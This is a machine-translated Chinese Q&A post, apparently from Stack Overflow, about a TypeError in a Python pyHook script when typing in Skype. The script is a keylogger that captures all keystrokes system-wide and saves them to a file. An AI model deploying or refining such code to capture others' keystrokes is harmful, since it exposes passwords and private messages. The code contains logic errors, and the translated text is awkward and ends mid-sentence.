这是我的源代码:
import pythoncom, pyHook, sys
def OnKeyboardEvent(event):
if event.Ascii==5:
sys.exit
elif event.Ascii !=0 or 8:
f = open('output.txt', 'r+')
buffer = f.read()
f.close()
f = open ('output.txt', 'w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs = ('\n')
buffer +=(keylogs)
f.write(buffer)
f.close()
# return True to pass the event to other handlers
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
每当我运行skype并输入内容时,我都会在cmd中收到此错误。
TypeError:KeyboardSwitch()缺少8个必需的位置参数:'msg','vk_code','scan_code','ascii','flags','time','hwnd'和'win_name'
我认为这与skype在其窗口名称中有非ascii字符这一事实有关,但我究竟能解决这个问题?
答案 0 :(得分:0)
这实际上是由pyhook中的错误引起的。如果您感兴趣,This answer可以很好地描述它。 我不想按照建议重新编译pyHook,所以我选择使用this fork.而不是